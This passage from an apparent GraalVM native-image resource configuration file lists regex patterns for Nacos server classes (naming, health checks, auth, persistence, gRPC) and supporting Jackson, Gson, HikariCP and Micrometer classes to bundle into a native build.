\"pattern\":\"\\\\Qcom/alibaba/nacos/core/paramcheck/CheckConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/paramcheck/ExtractorManager$Extractor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/paramcheck/ParamCheckerFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/remote/AbstractRequestFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/remote/BaseRpcServer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/remote/ClientConnectionEventListener.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/remote/ClientConnectionEventListenerRegistry.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/remote/ConnectionManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/remote/HealthCheckRequestHandler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/remote/RequestFilters.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/remote/RequestHandler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/remote/RequestHandlerRegistry.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/remote/RpcPushService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/remote/core/RpcAckCallbackInitorOrCleaner.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/remote/core/ServerLoaderInfoRequestHandler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/remote/core/ServerReloaderRequestHandler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/remote/grpc/BaseGrpcServer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/remote/grpc/GrpcBiStreamRequestAcceptor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/remote/grpc/GrpcClusterServer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/remote/grpc/GrpcRequestAcceptor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/remote/grpc/GrpcSdkServer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/remote/grpc/RemoteParamCheckFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/service/NacosClusterOperationService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/core/service/NamespaceOperationService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/cluster/NamingReadinessCheckService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/cluster/ServerStatusManager$ServerStatusUpdater.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/cluster/ServerStatusManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/cluster/transport/JacksonSerializer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/cluster/transport/Serializer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/consistency/ConsistencyService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/consistency/RecordListener.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/consistency/ephemeral/distro/v2/DistroClientComponentRegistry.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/consistency/persistent/PersistentConsistencyService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/consistency/persistent/PersistentConsistencyServiceDelegateImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/controllers/CatalogController.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/controllers/ClusterController.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/controllers/HealthController.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/controllers/InstanceController.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/controllers/OperatorController.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/controllers/ServiceController.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/controllers/\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/controllers/v2/CatalogControllerV2.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/controllers/v2/ClientInfoControllerV2.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/controllers/v2/HealthControllerV2.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/controllers/v2/InstanceControllerV2.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/controllers/v2/OperatorControllerV2.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/controllers/v2/ServiceControllerV2.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/CatalogService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/CatalogServiceV2Impl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/ClusterOperator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/ClusterOperatorV2Impl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/DistroMapper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/HealthOperator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/HealthOperatorV2Impl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/InstanceOperator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/InstanceOperatorClientImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/ServiceOperator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/ServiceOperatorV2Impl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/SubscribeManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/v2/cleaner/AbstractNamingCleaner.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/v2/cleaner/EmptyServiceAutoCleanerV2.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/v2/cleaner/ExpiredMetadataCleaner.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/v2/cleaner/NamingCleaner.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/v2/client/manager/ClientManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/v2/client/manager/ClientManagerDelegate.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/v2/client/manager/impl/ConnectionBasedClientManager$ExpiredClientCleaner.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/v2/client/manager/impl/ConnectionBasedClientManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/v2/client/manager/impl/EphemeralIpPortClientManager$ExpiredClientCleaner.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/v2/client/manager/impl/EphemeralIpPortClientManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/v2/client/manager/impl/PersistentIpPortClientManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/v2/index/ClientServiceIndexesManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/v2/index/ServiceStorage.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/v2/metadata/InstanceMetadataProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/v2/metadata/NamingMetadataManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/v2/metadata/NamingMetadataOperateService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/v2/metadata/ServiceMetadataProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/v2/service/ClientOperationService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/v2/service/ClientOperationServiceProxy.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/v2/service/impl/EphemeralClientOperationServiceImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/v2/service/impl/PersistentClientOperationServiceImpl$InstanceStoreRequest.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/v2/service/impl/PersistentClientOperationServiceImpl$PersistentInstanceSnapshotOperation.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/core/v2/service/impl/PersistentClientOperationServiceImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/exception/ResponseExceptionHandler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/healthcheck/extend/AbstractHealthCheckProcessorExtend.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/healthcheck/extend/HealthCheckExtendProvider.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/healthcheck/extend/HealthCheckProcessorExtendV2.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/healthcheck/v2/HealthStatusSynchronizer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/healthcheck/v2/PersistentHealthStatusSynchronizer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/healthcheck/v2/processor/HealthCheckCommonV2.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/healthcheck/v2/processor/HealthCheckProcessorV2.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/healthcheck/v2/processor/HealthCheckProcessorV2Delegate.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/healthcheck/v2/processor/HttpHealthCheckProcessor$HttpHealthCheckCallback.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/healthcheck/v2/processor/HttpHealthCheckProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/healthcheck/v2/processor/MysqlHealthCheckProcessor$MysqlCheckTask.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/healthcheck/v2/processor/MysqlHealthCheckProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/healthcheck/v2/processor/NoneHealthCheckProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/healthcheck/v2/processor/TcpHealthCheckProcessor$Beat.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/healthcheck/v2/processor/TcpHealthCheckProcessor$BeatKey.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/healthcheck/v2/processor/TcpHealthCheckProcessor$PostProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/healthcheck/v2/processor/TcpHealthCheckProcessor$TaskProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/healthcheck/v2/processor/TcpHealthCheckProcessor$TimeOutTask.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/healthcheck/v2/processor/TcpHealthCheckProcessor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/misc/GlobalConfig.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/misc/NamingTraceEventInitializer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/misc/SwitchDomain$HealthParams.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/misc/SwitchDomain$HttpHealthParams.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/misc/SwitchDomain$MysqlHealthParams.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/misc/SwitchDomain$TcpHealthParams.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/misc/SwitchDomain.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/misc/SwitchManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/monitor/NamingDynamicMeterRefreshService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/monitor/PerformanceLoggerThread$PerformanceLogTask.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/monitor/PerformanceLoggerThread.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/monitor/collector/NamingSubAndPubMetricsCollector.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/monitor/collector/PushPendingTaskCountMetricsCollector.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/monitor/collector/ServiceEventQueueSizeMetricsCollector.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/pojo/Record.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/push/NamingSubscriberService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/push/NamingSubscriberServiceAggregationImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/push/NamingSubscriberServiceLocalImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/push/UdpPushService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/push/v2/NamingSubscriberServiceV2Impl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/push/v2/executor/PushExecutor.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/push/v2/executor/PushExecutorDelegate.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/push/v2/executor/PushExecutorRpcImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/push/v2/executor/PushExecutorUdpImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/remote/rpc/handler/BatchInstanceRequestHandler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/remote/rpc/handler/DistroDataRequestHandler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/remote/rpc/handler/InstanceRequestHandler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/remote/rpc/handler/PersistentInstanceRequestHandler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/remote/rpc/handler/ServiceListRequestHandler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/remote/rpc/handler/ServiceQueryRequestHandler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/remote/rpc/handler/SubscribeServiceRequestHandler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/remote/udp/UdpConnector$UdpAsyncSender.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/remote/udp/UdpConnector$UdpReceiver.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/remote/udp/UdpConnector$UdpRetrySender.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/remote/udp/UdpConnector.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/selector/SelectorManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/web/ClientAttributesFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/web/DistroFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/web/DistroTagGenerator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/web/DistroTagGeneratorImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/web/NamingConfig$$SpringCGLIB$$0.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/web/NamingConfig.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/web/ServiceNameFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/naming/web/TrafficReviseFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/persistence/repository/embedded/hook/EmbeddedApplyHook.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/persistence/repository/embedded/operate/BaseDatabaseOperate.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/persistence/repository/embedded/operate/DatabaseOperate.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/persistence/repository/embedded/operate/StandaloneDatabaseOperateImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/CustomAuthenticationProvider.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/JwtAuthenticationEntryPoint.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/LdapAuthConfig.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/NacosAuthConfig$$SpringCGLIB$$0.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/NacosAuthConfig$1.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/NacosAuthConfig.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/NacosAuthManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/NacosLdapContextSource.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/authenticate/AbstractAuthenticationManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/authenticate/AuthenticationManagerDelegator.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/authenticate/DefaultAuthenticationManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/authenticate/IAuthenticationManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/controller/PermissionController.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/controller/RoleController.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/controller/UserController.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/controller/\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/persistence/EmbeddedPermissionPersistServiceImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/persistence/EmbeddedRolePersistServiceImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/persistence/EmbeddedUserPersistServiceImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/persistence/ExternalPermissionPersistServiceImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/persistence/ExternalRolePersistServiceImpl$RoleInfoRowMapper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/persistence/ExternalRolePersistServiceImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/persistence/ExternalUserPersistServiceImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/persistence/PermissionPersistService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/persistence/RolePersistService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/persistence/UserPersistService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/roles/NacosRoleServiceImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/token/TokenManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/token/TokenManagerDelegate.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/token/impl/CachedJwtTokenManager$TokenEntity.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/token/impl/CachedJwtTokenManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/token/impl/JwtTokenManager.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/plugin/auth/impl/users/NacosUserDetailsServiceImpl.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/prometheus/conf/PrometheusSecurityConfiguration$$SpringCGLIB$$0.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/prometheus/conf/PrometheusSecurityConfiguration.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/prometheus/exception/PrometheusApiExceptionHandler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/alibaba/nacos/prometheus/filter/PrometheusAuthFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/fasterxml/jackson/core/ObjectCodec.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/fasterxml/jackson/core/TreeCodec.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/fasterxml/jackson/databind/JsonSerializer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/fasterxml/jackson/databind/Module.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/fasterxml/jackson/databind/ObjectMapper.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/fasterxml/jackson/databind/module/SimpleModule.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/fasterxml/jackson/databind/ser/std/StdSerializer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/fasterxml/jackson/databind/ser/std/ToStringSerializer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/fasterxml/jackson/databind/ser/std/ToStringSerializerBase.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/fasterxml/jackson/module/paramnames/ParameterNamesModule.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/google/gson/Gson.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/google/gson/GsonBuilder.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/mysql/cj/TlsSettings.properties\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/sun/jmx/mbeanserver/JmxMBeanServer.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/zaxxer/hikari/HikariConfig.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qcom/zaxxer/hikari/HikariDataSource.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qio/grpc/BindableService.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qio/micrometer/core/instrument/Clock$1.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qio/micrometer/core/instrument/Clock.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qio/micrometer/core/instrument/MeterRegistry.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qio/micrometer/core/instrument/binder/jvm/ClassLoaderMetrics.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qio/micrometer/core/instrument/binder/jvm/JvmCompilationMetrics.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qio/micrometer/core/instrument/binder/jvm/JvmGcMetrics.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qio/micrometer/core/instrument/binder/jvm/JvmHeapPressureMetrics.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qio/micrometer/core/instrument/binder/jvm/JvmInfoMetrics.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qio/micrometer/core/instrument/binder/jvm/JvmMemoryMetrics.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qio/micrometer/core/instrument/binder/jvm/JvmThreadMetrics.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qio/micrometer/core/instrument/binder/logging/LogbackMetrics.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qio/micrometer/core/instrument/binder/system/FileDescriptorMetrics.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qio/micrometer/core/instrument/binder/system/ProcessorMetrics.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qio/micrometer/core/instrument/binder/system/UptimeMetrics.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qio/micrometer/core/instrument/config/MeterFilter$9.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qio/micrometer/core/instrument/config/MeterFilter.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qio/micrometer/core/instrument/config/MeterRegistryConfig.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qio/micrometer/core/instrument/observation/DefaultMeterObservationHandler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qio/micrometer/core/instrument/observation/MeterObservationHandler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qio/micrometer/observation/ObservationHandler.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qio/micrometer/observation/ObservationRegistry.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qio/micrometer/observation/SimpleObservationRegistry.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qio/micrometer/observation/annotation/Observed.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qio/micrometer/observation/aop/ObservedAspect.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qio/micrometer/prometheus/PrometheusConfig.class\\\\E\"\n  }, {\n    \"pattern\":\"\\\\Qio/micrometer/prometheus/PrometheusMeterRegistry.class\\\\E\"\n  }, {\n    